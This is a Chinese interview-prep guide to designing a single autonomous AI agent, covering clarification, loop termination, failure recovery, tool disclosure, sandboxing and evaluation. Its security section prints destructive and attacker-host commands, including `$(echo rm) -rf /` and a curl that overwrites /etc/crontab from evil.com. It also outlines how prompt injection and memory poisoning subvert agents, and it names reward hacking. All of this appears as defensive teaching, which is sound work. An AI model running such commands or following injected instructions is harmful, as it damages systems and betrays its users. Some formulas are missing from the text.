设计题 07:单体 Agent 系统设计
权重:★★★ 形式:45 分钟系统设计轮
素材来源:Own — Race Bot 的 retry-and-fix 循环与失败降级、Writing Copilot 的中断与预算控制;其余为《深入理解 AI Agent:设计原理与工程实践》第 4/5/6/9 章的知识框架,非一手实测
相关知识点:04-agent-architecture/agent-react.md(循环与终止)、09-coding-agent.md(故障四层、恢复分级、熔断阈值)、10-tool-discovery.md(工具集边界与披露)、11-async-event-driven.md(安全点与取消)、12-continual-evolution.md(三层验证器与双循环)、05-agent-evaluation/05-statistical-significance.md(Pass@k vs Pass^k)
往上一步:本题设计的是一个 Agent;如果问的是「托管很多 Agent 的平台」(多租户、有状态任务、并发容量、持久化恢复),那是08-agent-platform.md—— 本篇的循环控制在那道题里是被平台托管的一层
1. 题干#
「我们想做一个能自己干活的 agent —— 用户说一句话,它自己去查资料、调接口、改文件、把事办了,中间不用人管。你来设计这个 agent。」
注意这个题干有多模糊:没说是什么任务、没说任务有没有客观终态、没说它能碰什么、没说一次能跑多久、也没说办砸了谁负责。这不是题干写得差,这是刻意的。 面试官在看你会不会在「能不能自己干」这句话上停下来 —— 因为这题的正确答案里,有一半是「哪些部分不该让它自己干」。
⚠️ 讲话口径:这道题的框架来自教材与工程常识。答题时用「如果让我设计,我会这么划边界」而不是「我做过这样一个 agent」——追问两层工程细节就会露底,代价远大于承认边界。你自己真正做过的是 Race Bot 的编排 + retry-and-fix 与 Writing Copilot 的中断控制,那两块可以讲成一手经验,其余要标成知识。
2. 第一步:澄清(这一轮最重要的动作)#
绝对不要听完就开始画「感知—规划—执行—反思」四层图。开场第一句应该是:
「在画架构之前我想先确认几件事 —— 因为这几个答案会决定这个东西该不该做成 agent,而不只是怎么做。」
必问清单(按对方案的影响排序)#
| # | 问题 | 为什么它会改变方案 |
|---|---|---|
| 1 | 任务是开放的还是封闭的? | 开放(深度调研、数据处理、写代码)→ 步骤事先无法枚举,才真正需要 agent;封闭(客服、审批)→ 核心应该是一个固定流程 + 少量领域工具,代码是工具箱里的一件,不是骨架 |
| 2 | 「做完了」怎么判定?能不能自动判定? | 有客观终态(文件生成了、数据库改对了、接口返回对了)→ 可以环境终态断言自动判定,整套评测和循环终止都建立在它上面;只能靠人说好 → 只能 judge + 人工,而且这个任务本来就不该让它无人值守地跑 |
| 3 | 它能不能产生副作用?碰得到什么? | 只读 → 沙盒与权限可以放宽、可以并行;能写生产库、能发邮件、能转钱 → 不可逆操作必须走确认与幂等设计,整轮设计的重心会从「能力」移到「边界」 |
| 4 | 一次任务允许跑多久、花多少? | 预算直接决定循环控制怎么设(步数、token、金额、超时),也决定「终止后兜底返回什么」;有 SLA 的场景通常意味着要把大部分步骤固定下来 |
| 5 | 失败时有人兜底吗? | 有人在环 → 可以做得更自主,把不确定的决策升级给人;完全无人值守 → 必须更保守:宁可拒答/弃权,也不能错着往下走 |
| 6 | 要不要处理外部事件? | 只要「用户发一句、它做完回一句」→ 同步循环够了;要收 webhook、定时器、别的 agent 的消息 → 需要事件队列 + 安全点 + 取消语义,这是另一个量级的复杂度 |
| 7 | 多用户并发吗?状态怎么隔离? | 每个用户一份独立工作区与会话;并发还牵出工具调用的幂等与共享终端的串行化 |
| 8 | 谁消费评测结果? | 只做线上质量监控 / 还要做训练数据回流 → 后者决定埋点字段,且决定了要不要离线进化循环(见 4.7) |
面试技巧:先问 1 和 2。这两问是题眼 —— 它们决定了你后面讲的是「一个 agent 的架构」还是「一个 agentic workflow + 局部 agent 循环」。能在第 3 分钟说出「这个需求其实七成该用固定流程」,比画出再漂亮的 agent 图都加分。
3. 参考架构#
假设澄清后得到:开放任务(用户给目标、自己去查去改)、有客观终态(产物落盘 + 状态变更)、可写但有权限分级、一次任务预算有限、有失败重试但不无人值守转账、接收少量外部事件、需要回流训练。
┌─ 入口与会话 ──────────────────────────────────────────┐
│ 用户输入 / 外部事件(webhook · 定时器 · 其他 Agent) │
│ 事件建模四维:来源 · 渠道 · 内容 · 上下文 │
│ 紧急度判定 → 取消式 / 队列式 / 并行式(在安全点消费) │
└───────────────────────────────────────────────────────┘
↓
┌─ 循环控制(Agent 的骨架)───────────────────────────────┐
│ 预算:最大步数 · token/金额上限 · 单步与整体超时 │
│ 成功判据:环境终态断言 > 单步期望状态 > 人工确认 │
│ 无进展检测:工具名+参数指纹 · 连续失败计数 · 熔断上限 │
│ 终止后兜底:部分结果 / 澄清追问 / 转人工 / 明确报错 │
└───────────────────────────────────────────────────────┘
↓
┌─ 模型决策 ─────────────────────────────────────────────┐
│ 可见工具集(披露策略)· 系统提示 · 项目指令文件 │
│ 状态栏(工作目录 · 分支 · 未提交变更)追加注入,不写进前缀 │
└───────────────────────────────────────────────────────┘
↓
┌─ 工具层 ───────────────────────────────────────────────┐
│ 输入验证 → 权限控制 → 沙盒隔离(注意:venv 不是沙盒) │
│ 幂等:唯一标识去重 / 先查后改;不可幂等走「预检—确认」 │
│ 错误分类 → 恢复映射表(可重试 / 不可重试 分开走) │
└───────────────────────────────────────────────────────┘
↓
┌─ 上下文管理 ───────────────────────────────────────────┐
│ 只追加不改写 · 压缩有损且必须可评测 · 工具定义按需进入轨迹 │
└───────────────────────────────────────────────────────┘
↓ 旁路 ↓ 旁路
┌─ 可观测性 ───────────┐ ┌─ 评测与进化 ─────────────┐
│ 每步 span + 版本 tag │ ───────→ │ 三层验证器 + 七维评分 │
│ 失败全记 / 成功采样 │ │ 在线执行 × 离线进化双循环 │
└─────────────────────┘ └─────────────────────────┘画图时要讲的三个点:
- ① 中间那条竖线不是流水线,是一个循环。 工具层返回的结果要回到模型决策那一层,由观测修正下一步 —— 这正是 agent 与 workflow 的分别(见 4.1)。
- ② 两侧旁路不是「以后再加」。 循环控制里的成功判据和右侧的验证器是同一件事的两个用法(一个用来停、一个用来评分);埋点里的失败 case是训练与评测集的原料。先设计判定,再设计循环 —— 没有判定,循环不知道该停在哪。
- ③ 工具层里「验证 → 权限 → 沙盒」是有序的三道门,不是三个并列选项。顺序错了(先执行再校验)等于没有。
4. 关键决策与权衡#
4.1 先决定「该不该做成 agent」——这一问比后面所有决策都值钱#
判据只有一条:控制流由谁决定。
| 形态 | 控制流由谁决定 | 什么时候用它 |
|---|---|---|
| 固定工作流 | 代码写死步骤顺序,模型只在某几步内做单次调用 | 步骤事先已知且稳定 |
| 编排式(agentic workflow) | 代码定骨架,模型在骨架内做有限决策 | 大部分生产系统落在这里 |
| 自主 agent | 模型决定下一步做什么、做几步 | 步骤依赖中间结果、事先无法枚举 |
默认取向是「能固定就固定」,理由是四条硬账:可靠性(每多一个模型决策就多一个失败点,错误按 复合)、成本与延迟(多轮长上下文,比单次调用高一个量级)、可评测(固定流程每步可单独评测,agent 的轨迹空间爆炸)、可审计(合规要求「为什么得出这个结论」可复现)。
一句话应答:「我会先按 workflow 实现,只在确实需要根据中间结果做决策的环节引入 agent 循环。真实系统七成是外层固定 + 内层局部自主的混合体 —— 我上一版做的赛马助手就是这个形态。」
4.2 工具集边界:形态与披露是两个独立决策#
这是这题最容易答混、也最能露功底的一处。
是否采用 MCP / 做成专用工具(形态)与一次让模型看见多少条(披露),是两个正交的决策。四种组合都真实存在。
形态侧(这条能力用什么形式表达):
- 默认取向:通用工具优于专用工具。 一个沙盒里的
code_interpreter能顶数十个专用工具,还能覆盖你没想到的边缘场景 —— 因为 LLM 的代码生成与执行能力应该被利用,而不是被限制。这就是「代码是元能力」。 - 只在四种例外下退回专用工具:① 安全、权限与审计(生产库写操作、资金操作需要精细授权与留痕);② 屏蔽平台差异并给出更好的反馈(grep/find 在各系统语法不同,专用工具能返回行号);③ 使用频率极高;④ 参数结构复杂(嵌套对象、多字段联合校验)。
- 别拆得太细:判断该不该合并的标准是功能相似性与使用场景重叠度(
extract_pdf_text/extract_docx_content/extract_pptx_content应合并成一个带file_type参数的read_document)。
披露侧(一次摆几条在模型面前):规模本身伤正确性。
| 事实 | 数字 |
|---|---|
| 选择准确率随工具数下降 | 工具 > 100 个时,最强模型也频繁选错(机制性,不是模型不够聪明) |
| 工具定义的常驻成本 | 仅 5 个 MCP server 就可能引入数万 token,在 200K 窗口里还没对话就用掉近三成 |
| 变动还会击穿缓存 | 每次工具集变更都让静态前缀的 KV Cache 失效 —— 代价不只是 token,还有首 token 延迟 |
五条递进的路(能背下来就够用):全量注入 → 按需加载只暴露索引(Cursor A/B:MCP 类任务总 token −46.9%)→ 层次化组织(按信息源性质分搜索/读取/解析/查询四类,在系统提示里说明分类结构)→ 检索式预筛选 tool RAG(Anthropic 实验:Opus 4 工具使用基准 49% → 74%;局限是按初始查询一次性匹配,预见不了多步任务中途的需求)→ 模型原生主动发现 / Skills(MCP-Zero 在约 2800 个工具上比全量注入省约 98% token;工程等价物是只保留 web_search + code_interpreter + 一个工具搜索工具,Agent 用自然语言声明缺口、系统按需注入)。
工具描述怎么写(决定选择上限,且是最便宜的修复点):
- 核心是什么时候用,不是能做什么(「当需要获取实时信息时使用」≫「搜索相关内容」);
- 边界比能力更重要 —— 大多数调用失败的根因不是不知道能做什么,而是不知道不能做什么;不声明「只能按文件名匹配、不能搜内容」,模型就会拿它去搜内容;
- 参数给具体例子(
RFC3339,例如 2024-03-15T14:30:00Z)—— 复杂任务下注意力被分摊,示例比规范可靠;加 1–5 个真实调用示例,准确率在一些基准上从约 72% 升到 90%; - 描述返回值形状与执行代价(「需下载完整网页,约 5–10 秒;只要元信息请用
get_page_metadata」)。
一句诊断口诀:Agent 频繁选错工具时,先查工具描述,再怀疑模型。改描述的 ROI 远高于换模型。
4.3 循环终止条件:六个正交的刹车,缺一个都会漏#
没有终止条件的 agent 是一个会烧钱和烧时间的死循环。按「先硬后软」列:
| # | 刹车 | 作用 | 注意 |
|---|---|---|---|
| 1 | 最大步数 / 迭代数 | 硬兜底,防真死循环 | 纯工程保险,不体现智能 |
| 2 | 预算上限(token / 金额) | 比步数更贴近真实成本 | 步数相同、成本可以差一个量级(长上下文 vs 短上下文) |
| 3 | 成功判据 | 判定「做完了」 | 优先环境终态断言(与路径无关,不会把「走了另一条合法路径」判成失败);判据模糊的任务本来就不该交给 agent |
| 4 | 无进展检测 | 治「打转」 | 对「工具名 + 参数」算重复调用指纹,相同指纹反复出现就是无进展的明确信号 |
| 5 | 连续失败熔断 | 治「反复撞同一堵墙」 | 每条恢复路径独立计数,各自设上限 |
| 6 | 超时(单步 + 整体) | 治挂起 | 单步超时之外还要有整体超时:一次失败不该变成一次无限等待 |
熔断阈值从生产数据来,不是拍脑袋。 以生产级 Agent 的压缩熔断「连续 3 次」为例:曾有一个会话在同一条恢复路径上连续失败三千余次,仅这类无效重试每天就在全球造成约 25 万次 API 调用的浪费,逾千个会话出现过 50 次以上的连续失败。3 是「绝大多数故障在此之前已恢复」与「继续重试基本无望」之间的经验拐点。面试里要讲的不是 3,而是「这个数该从失败轨迹统计里来」。
终止后返回什么 —— 这个决策就是产品设计。 四个选项:部分结果(并说明缺什么)、澄清追问、转人工、明确报错。最差的做法是把失败直接抛给用户;次差的是硬给一个错答案。对不可逆场景,弃权优于出错。
两类不用等预算耗尽就该停的信号(都是控制流层的病):死循环(反复执行相同操作而毫无进展)与死亡螺旋(错误触发的恢复逻辑自身又调用 LLM、再次出错、连锁)。一个真实发生过的连锁:上下文溢出而停止 → 触发「结束时自动提交代码」的停止钩子 → 钩子调 LLM 生成 commit message → 再次溢出 → 又触发钩子。防护两条:在错误路径上禁用一切会再次调用模型的副作用逻辑,以及用递归深度计数器打断残余连锁。
4.4 失败降级:先分类,再计数,最后才谈重试#
按位置分四层(面试要能当场列出来):
| 层 | 典型故障 | 性质 |
|---|---|---|
| API 层 | 429 限流、服务过载、请求超时、连接中断、输出触顶被截断 | 与任务内容无关的基础设施噪声 |
| 工具层 | 幻觉调用(调了不存在的工具)、参数畸形、执行抛异常,以及最危险的「工具反复返回同一错误而模型不加改变地重试」 | 大部分可自纠 |
| 上下文层 | 窗口溢出、压缩失败、轨迹结构损坏(工具调用缺配对的结果消息) | 需要完整性监控 |
| 控制流层 | 死循环、死亡螺旋 | 最难防,见 4.3 |
第一个判断不是「要不要重试」,而是「值不值得重试」。 维护一张错误 → 恢复策略映射表,而不是笼统的「出错就重试」:
| 错误 | 可重试? | 走哪条路 |
|---|---|---|
| 429 限流 | ✅ | 静默重试:指数退避 + 抖动,尊重服务端 Retry-After |
| 服务过载 | ✅ | 静默重试;持续过载则降级到备用模型 |
| 网络抖动 / 连接超时 | ✅ | 静默重试 |
| 输出触顶被截断 | ✅(改请求) | 先提升输出上限重发 → 仍不够则追加元指令从断点续写 |
| 参数不合法 / 畸形 | ❌ | 程序化修复,或回灌带约束提示的结构化错误让模型自己改 |
| 权限不足 | ❌ | 回退到人工询问 |
| 工具不存在(幻觉调用) | ❌ | 回灌「工具不存在」的结构化错误结果 |
| 上下文压缩失败 | ✅(有上限) | 连续 N 次失败就放弃压缩 |
恢复分级(按对用户透明的程度,能用低级别解决就不升级):
- 静默重试 —— 两个细节决定成败:指数退避叠加随机抖动(避免同步重试造成二次拥塞);区分前台与后台调用(标题生成这类辅助调用失败直接放弃,否则后台重试会挤占主链路配额,形成「重试放大」)。
- 降级与接续 —— 重试无效时改变请求本身:输出触顶就提升上限再续写;主模型持续过载就降级到备用模型,但必须先剥离旧模型私有的格式块,否则新模型无法解析历史消息。
- 暴露给用户 —— 所有自动手段用尽后,呈现错误并附上已经尝试过的恢复动作。
工具层错误走另一条路:不终止会话,把错误变成模型的输入 —— 错误以普通工具结果的身份进入上下文,由模型下一轮自纠。喂回的错误越具体,自纠成功率越高。
恢复的边界不是单次请求,而是整个恢复循环 —— 恢复期间扣留中间态,全部失败后才统一呈现。
两类不报错的故障,必须专门监控(它们不会触发任何错误处理路径):
- 空闲看门狗:流式连接最危险的失败模式不是断开(会立刻报错),而是静默卡死——连接建立成功但数据流停止。SDK 的超时往往只覆盖初始连接,不覆盖传输过程。所以要独立看门狗,超时后主动杀死挂起的流并触发重试。推广成原则:每个长连接都需要活性信号。
- 完整性监控:发现工具调用缺少配对结果时自动修复配对关系,而不是把结构异常抛给模型。
一个能讲出深度的细节:部分生产级 Agent 同时运行产品模式与训练数据收集模式 —— 产品模式下可以用占位符修补缺失消息,训练模式下拒绝修复,因为合成占位符会污染训练数据。产品宽容、训练严格的双重标准,正是 Harness 与模型训练深度耦合的证据。
4.5 上下文与状态:压缩有损,所以「什么时候压」要设计#
多步 agent 的上下文会持续增长,而窗口有限。三条做法:
- 按需取片段而非全量:读文件只取行号区间,返回内容附行号标注(模型能精确引用「第 42 行」,后续编辑更可靠);命令输出保留头尾 + 中间用一行提示替代(含错误上下文与错误总结),完整输出落临时文件按需查看。截断必须显式标示 —— 静默截断是危险的,模型会误以为看到了全部。
- 动态状态追加注入,不写进静态前缀:工作目录、git 分支、最近提交、变更概览以Agent 状态栏形式每次推理前追加在上下文末尾。硬编码进系统提示会破坏 KV Cache;追加式才能在保持缓存命中的同时让每个决策基于当前状态。
- 压缩可评测,且压缩方式要防退化:压缩是有损且不可逆的,所以「压缩后不能掉分」必须进回归集。更稳的做法是把上下文维护成带稳定标识符的条目集合 + 增量更新,而不是「每轮重写一个越来越短的文本块」—— 后者会让旧版本里的少数重要细节在多轮改写中逐渐消失,相互制约的条件被合并成一句过度抽象的原则。
与工具披露的接口:把新工具的完整 schema 追加到上下文末尾(而非插进静态前缀),schema 此后固定在轨迹原位置,作为普通历史消息继续命中缓存。由此 「工具定义必须放在上下文最前面」不再是铁律 —— 前缀依然静态、只增不改,只是工具定义获得了按需进入轨迹的能力。
4.6 安全边界:四条线,和「它到底替谁办事」#
① 致命三要素 + 第四个维度。 访问私有数据 + 暴露于不受信任的内容 + 具备外部通信能力 —— 三者齐备,攻击路径就闭合:恶意指令从不信任内容进入 → 驱使 Agent 读私有数据 → 经对外通道传出。第四维是持久记忆,它不是并列的第四个必要条件,而是放大器:攻击者把看似无害的偏见或恶意指令写进长期记忆,跨会话潜伏,在合适时机触发,把一次性攻击升级为长期威胁。对应四类边界:数据边界、输入信任边界、输出影响边界、跨会话边界。
② 隔离兜底(沙盒的工程选型)。
| 维度 | 做法 |
|---|---|
| 网络出口 | 默认断网,按需白名单代理放行 —— 这是三要素第 3 条的执行面防御:没有出口就传不出去 |
| 文件系统 | 源码目录只读挂载(改动经补丁审查后落盘);单独可写工作区承载产物;凭证类文件根本不挂进沙盒 |
| 资源与超时 | CPU/内存/磁盘配额 + 超时,防死循环与 fork 炸弹;超时向 Agent 返回结构化错误(「执行超过 120 秒被终止,最后输出如下…」)而非静默杀死 |
常见误区要说破:venv 不是沙盒。 它只隔离包依赖,对文件系统、网络、进程没有任何安全约束 —— venv 里跑的代码照样能删任意文件、访问任意网络。真正的隔离是进程 → 容器(共享内核,仍可能逃逸)→ microVM(独立内核,最强)。
③ 命令安全用语义解析,不用关键字黑名单。 Shell 的组合爆炸让黑名单形同虚设(rm 被禁可以用 $(echo rm) -rf / 绕过)。生产级做法是理解每个命令的参数类型与消费规则,识别「看似无害的标志位实际消费下一个参数、从而隐藏危险载荷」。两个典型:find / -name '*.log' -exec rm {} \;(通过合法 find 参数嵌入 rm)、curl -o /etc/crontab http://evil.com/payload(看似下载文件,实则覆盖系统定时任务)。
④ 不可逆操作:幂等 + 预检—确认两段式。 一次调用被取消或超时时,副作用到底发生了没有?让操作携带唯一标识由服务端去重,或先查询后变更。对发邮件、拨电话、对外转账这类不可幂等的操作,用两段式:第一段用来自不同模型家族的模型 + 专用安全检查提示词做校验(查余额、确认收款方、生成待发送内容),第二段才真正执行;执行阶段失败不能盲目重试,要把详细错误返回主模型重新规划。
⑤ 忠诚度:Agent 替谁办事。 模型训练里有一条朴素默认 ——「谁跟我说话我就帮谁」。但真实 Agent 常处在多方委托处境:它代表主人行事,打交道的却是利益相反的第三方。此时「谁说话帮谁」就是危险默认 —— 对手只要开口,就可能把 Agent 策反。所以 Harness 层要明确限定忠诚对象:主人的指令优先级最高,一切来自外部交互方的内容(工具返回、第三方服务器、仓库里的文本)默认降格为「可参考、但不具备指令效力」的数据。提示注入本质上就是一次策反。
4.7 评测闭环:判定、评分、进化是三件事#
第一步是定义「正常」。三层验证器,按可靠性排序:
| 层 | 验证问题 | 证据 | 可靠性 |
|---|---|---|---|
| 结果验证器 | 事情是否真的办成 | 测试结果、数据库状态、工具返回、订单金额 | 最可靠(环境真实状态),最应优先建立 |
| 过程验证器 | 是否以允许的方式办成 | 业务规则、政策库、权限表、动作序列 | 高,同样可由代码判定 |
| 质量验证器 | 是否让用户舒服 | LLM-as-a-Judge + Rubric,逐项给分并引用轨迹证据 | 最低,需校准 |
结果正确 ≠ 过程正确 —— 删掉失败的测试用例照样能让测试通过;口头承诺「7 天内退款」也能换来暂时满意。过程层就是用来区分「结果达成了」与「结果以允许的路径达成」的 —— 而后者恰恰是 Agent 最常见的作弊形态(reward hacking 的日常版:破坏性捷径)。
验证器的输出形态决定它能不能当学习信号。 单一总分只能说明这一次好不好,无法指出该改哪里。可用的评价至少含四项:任务成功/部分成功/失败、每个维度各自结论、每条结论对应的证据位置(哪一轮、哪次调用)、失败类型标签。并且允许验证器在证据不足时拒绝评分 —— 与其把低置信度结论当事实固化,不如排除出学习集。
第二步是评测口径(这一步最容易被跳过,也最容易被追问):
- 单次成功率不够,要看 Pass^k。 时 Pass@5 ≈ 99.0% 而 Pass^5 ≈ 7.8% —— 同一个 ,一个像天花板一个像地板。无人值守的 agent 必须看 Pass^k:pass@10 很高但 pass^10 很低的 agent,在用户手里就是不可用的。
- 有副作用的操作不能重试到成功 —— 这条约束直接限定了哪些任务能用 Pass@k 口径。
- 报分要带区间。 100 个用例、成功率 70% → 95% CI 约 ±9 个百分点,所以「新版本 73% 对旧版本 70%」不足以支持切换;要把误差减半,样本量得乘 4。同一批题比较必须用配对检验(McNemar 或 paired bootstrap),不是两个独立成功率相减。
- 环境失败要与模型失败分开统计,否则你会去优化一个不存在的问题。前提是工具本身先有单测与契约测试 —— 工具返回不稳定时,agent 评测毫无意义。
第三步是闭环,而且应该是双循环。 在线执行循环只完成任务、记录证据、不直接改写线上 Agent;离线进化循环聚合轨迹、诊断根因、生成更新提案,过验证门槛后发布新版本;两者通过版本化的经验库与评估集连接。
但「改了哪一层」要按载体分流(这张表是本仓库通用的归因工具):
| 更新载体 | 适合承载 | 例 |
|---|---|---|
| 经验知识库 | 事实、经验规律、例外与来源 | 客户政策条款 |
| Prompt 与 Skill | 需要理解语境与优先级、但仍能用自然语言说明的判断原则 | 「退货先查订单状态」 |
| 程序与 Harness | 可确定解析、可执行验证、高风险硬约束 | 金额上限、权限校验 |
| 模型参数 | 高维感知、生成风格、隐式策略 | 语气、意图识别 |
面试金句:「症状往往不是『模型不行』,而是这件事本来就不该由参数解决。可确定执行的约束应该进程序,而不是继续堆在 Prompt 里。」
四层进化指标(先记住「更新能力 ≠ 受益能力」):更新提案有效率(验证中的接受率与增益)、产物激活率(任务 Agent 是否在正确场景加载了新 Skill/记忆)、遵循成功率(加载后是否真按新规则执行)、保留任务集增益(是否改善了未参与进化的任务)。不能只用端到端分数反推更新器好坏 —— 一个 Skill 可能写得完全正确,但较弱的任务模型没在合适场景加载它,成绩就会看起来「没有进化」。
埋点侧的要求(每一步记什么、版本 tag、PII 与采样)见
06-agent-observability.md,本篇不重复。这里只强调一点:埋点的字段设计必须回头看「这些字段将来能不能用来做上面这几件事」 —— 没有这一问,数据存了也白存。
4.8 什么不该做(资深信号)#
- 不要一上来就上多智能体。 多智能体的正当性判据是「是否引入了单 Agent 拿不到的新信息」—— 同一份对话记录拆给几个角色看,不产生增益,只增加延迟与成本、并让共享上下文互相污染。先证明单 Agent 不够,再拆。
- 不要为了「更自主」而放弃固定流程。 能画出固定流程图的部分就写死,只在真正需要按中间结果决策的那一环给模型决策权。
- 不要把工具接得越多当成能力越强。 超过 100 个就在伤正确性;先设计披露策略,再考虑接新工具。
- 不要用关键字黑名单当安全边界,也不要把
venv当沙盒。 - 不要给不可逆操作设计自动重试。 先做幂等,再做确认;两者都没有的操作,宁可让人点一下。
- 不要在错误路径上留下会再次调用模型的副作用逻辑 —— 那是死亡螺旋的配方。
- 不要把「用户点了赞」当质量指标(选择偏置严重),也不要只记最终输出(等于放弃归因、回放与评测三种用途)。
- 不要在没有客观终态的任务上做无人值守。 判据说不清的任务,先别交给 agent。
5. 容量与成本直觉#
面试官常问「这一个任务要花多少」。不要求精算,但要有量级感觉:
- 单任务成本 ≈ 步数 × 每步上下文长度 × 单价。 关键在第二步乘的是上下文长度,而 agent 的上下文随步数增长 —— 所以成本大致按步数的平方量级上涨,不是线性。这就是预算上限必须独立于步数存在的原因。
- 错误复合决定「任务能做多长」。 若每步独立成功率 , 步端到端约 :单步 95% 在 10 步任务上约剩 60%,30 步会崩到很低。所以缩短链路、合并步骤、给关键环加校验,比「换个更强的模型」更有效 —— 这也是判断「这个任务该不该做成 agent」的定量依据。
- 成本最大项常常是 rollout 与回放。 回放一次 agent 任务 = 十几次模型调用 + 十几次工具调用 + 一个可重置的沙箱。所以回归评测要抽样做(选有代表性的失败/成功子集),不要全量重跑。
- 披露策略直接省钱。 工具定义常驻是每一轮都在付的固定税;按需加载(−46.9%)与主动发现(省约 98%)省的是每一轮的 token,量级差得很远。
- 缓存是延迟优化,不只是省钱。 稳定的静态前缀 + 只追加不改写,能让首 token 延迟显著下降 —— 而 agent 的每一步都在等首 token,这个收益会被步数放大。
- 一句面试话术:「我会先按单任务预算上限倒推能允许多少步,再用错误复合判断这个任务长度是否可行 —— 而不是先设计一个很聪明的 agent,再想办法给它加刹车。」
6. 面试官会怎么往下挖#
第一层:澄清与动机#
- Q:你会先问什么? ← 见第 2 节。题眼是「任务开放还是封闭」和「做完了怎么判定」
- Q:为什么不一定做成 agent? ← 见 4.1:控制流判据 + 四条硬账(可靠性/成本/可评测/可审计);真实系统多是混合体
- Q:用户说要一个「什么都能干」的 agent,你怎么回应? ← 先把任务分类:能画出固定流程图的部分走 workflow,只在需要按中间结果决策的环节引入循环。「更自主」不是目标,完成任务才是
第二层:技术细节#
- Q:工具怎么设计?接多少? ← 见 4.2:形态(通用优先,四种例外退回专用)与披露(>100 伤正确性、五条递进的路)是两个独立决策;描述要写「什么时候用」和「做不到什么」
- Q:Agent 卡住不动了怎么办? ← 见 4.3:六道刹车,重点是重复调用指纹(工具名+参数)与独立熔断计数器;再加空闲看门狗治静默卡死
- Q:连续失败你重试几次?这个数从哪来? ← 见 4.3:从失败轨迹统计来,不是拍脑袋;给出「连续 3 次」背后的生产数据(单会话 3000+ 次连续失败、每天约 25 万次无效调用)
- Q:上下文满了怎么压? ← 见 4.5:压缩有损且不可逆,所以压缩后不能掉分必须进回归集;更稳的是条目化 + 增量更新而不是每轮重写
- Q:怎么保证它不乱来? ← 见 4.6:致命三要素 + 持久记忆、沙盒四道门(网络出口/文件系统/资源/凭证)、语义解析而非黑名单、不可逆操作的幂等与两段式确认
第三层:工程与生产#
- Q:怎么知道它做得好不好? ← 见 4.7:三层验证器(结果最可靠、优先建),并且验证器要输出可定位的证据;无人值守看 Pass^k,报分带区间与配对检验
- Q:线上出了个新失败,怎么变成改进? ← 见 4.7 的双循环:在线执行只记录、离线进化出提案、过门槛才发布;更新按载体分流(事实→知识库、判断原则→Skill、硬约束→程序、隐式策略→参数)
- Q:怎么知道改完是变好还是变差? ← 回归集 + 版本 tag(模型/prompt/工具 schema/代码版本)回放;注意回放环境要与当时一致,否则测出的是环境差异不是版本差异
- Q:多个用户同时用,会互相影响吗? ← 会话与工作区隔离;工具调用的幂等(并发下同一个写操作可能被触发两次);共享终端要串行化,但并行任务应能开隔离终端
第四层:反思与边界#
- Q:这套设计什么时候会不够用? ← ① 判据说不清的任务(无法断言终态,只能 judge + 人工);② 长链路任务(错误复合让 崩掉,必须拆解或缩短);③ 环境无法在沙箱重建的场景(真实世界副作用已发生);④ 需要真正「新信息」的任务 —— 那是多 Agent 或外部工具该解决的,不是加步数能解决的
- Q:如果只能做一件事,你做哪件? ← 先把「成功判据 + 环境终态断言」建起来。 循环终止、失败降级、评测闭环、离线进化四件事全都建立在它上面;没有它,后面全是猜测
- Q:客户要求「任何操作都不能出错,也不能麻烦用户确认」,你怎么答? ← 这是需求本身矛盾,要摆出来:不可逆操作要么有确认、要么有幂等 + 可回滚,两者都没有就不能自动化。把这个代价明确讲给客户让他选,而不是悄悄降级实现 —— 这是 FDE 该做的
7. 自测#
1. 用户说「做一个什么都能干的 agent」。你的第一反应是什么?请给出判据和四条理由。
答案要点
第一反应是先判断这个需求该不该做成 agent,而不是开始画架构。判据是控制流由谁决定:步骤顺序由代码写死、与输入无关 → workflow;下一步依赖上一步的工具返回、步数事先不确定 → agent。默认取向是「能固定就固定」,四条理由:① 可靠性 —— 每多一次模型决策就多一个失败点, 步每步 95% 只有 ,10 步掉到约 60%(而且真实链路各步不独立,实际更差);② 成本与延迟 —— agent 循环是多轮长上下文调用,比单次调用高一个量级;③ 可评测 —— 固定流程每步可单独评测与优化,agent 的轨迹空间爆炸;④ 可审计 —— 合规要求结论可复现,非确定性天然不友好。真实系统的正确答案通常是外层 workflow 固定 + 内层局部 agent 循环的混合体。
2. 「工具接得越多能力越强」错在哪?如果你有 200 个工具,给出三层解决办法,并说清每层省的是什么。
答案要点
错在规模本身伤正确性:工具超过 100 个时最强模型也频繁选错(机制性,不是模型不聪明);且平铺进上下文会占大量预算(5 个 MCP server 就可能引入数万 token,200K 窗口还没对话就用掉近三成);每次工具集变动还会击穿 KV Cache。
三层办法:① 按需加载、默认只暴露索引(Cursor A/B:MCP 类任务总 token −46.9%)—— 省的是常驻 token 与注意力预算;② 检索式预筛选 tool RAG(Opus 4 工具使用基准 49% → 74%)—— 省的是每轮实际注入量,局限是按初始查询一次性匹配,预见不了多步任务中途的需求;③ 模型原生主动发现 / Skills(MCP-Zero 在约 2800 个工具上省约 98% token;工程等价物是 web_search + code_interpreter + 一个工具搜索工具)—— 省的是基础设施层面的常驻定义,代价是要维护嵌入索引、处理缓存或为弱模型专门训练。再补一层:层次化组织(按信息源性质分搜索/读取/解析/查询四类)省的是定位成本。
还要主动区分:「要不要用 MCP / 用专用工具还是 Skill」是形态问题,「一次暴露多少」是披露问题,两者正交。
3. 一个 agent 在第 4 步开始反复调用同一个工具、参数几乎一样。请给出:这属于哪一层故障、你怎么检测、以及三类对策。
答案要点
属于控制流层(死循环)—— 表现为「无进展地反复执行相同操作」。检测手段是重复调用指纹:对「工具名 + 参数」计算指纹,相同指纹反复出现就是无进展的明确信号;配合连续失败计数为熔断提供依据。
三类对策:① 加显式的刹车 —— 最大步数、预算上限、每条恢复路径独立的熔断上限(阈值来自失败轨迹统计,如「连续 3 次」背后是单会话 3000+ 次连续失败、每天约 25 万次无效 API 调用);② 改善工具返回 —— 让返回值结构化且带状态信息(明确返回「无更多结果」而不是空数组),模型才知道「已经够了」;③ 修成功判据与上下文 —— 成功判据模糊会让模型不知道该停,长观测稀释早期约束会让它忘了目标;必要时把这一环降级成确定性步骤。另外可加空闲看门狗处理另一类不报错的挂起(连接建立但数据流停止,SDK 超时通常不覆盖传输过程)。
4. 你的 agent 有 70% 的任务成功率。老板问「能不能明天上线」。你要补哪几个数才能回答?
答案要点
至少四组:
① 区间,不是点估计。 100 个用例、70% → 95% CI 约 ±9 个百分点,也就是说「73% vs 70%」这种差异根本不足以支持结论;要把误差减半,样本量得乘 4。
② Pass^k,不只是 Pass@k。 同一个单次成功率 、,Pass@5 ≈ 99.0% 而 Pass^5 ≈ 7.8% —— 无人值守的 agent 必须看 Pass^k。同时要说明有副作用的操作不能重试到成功,所以某些任务连 Pass@k 口径都不适用。
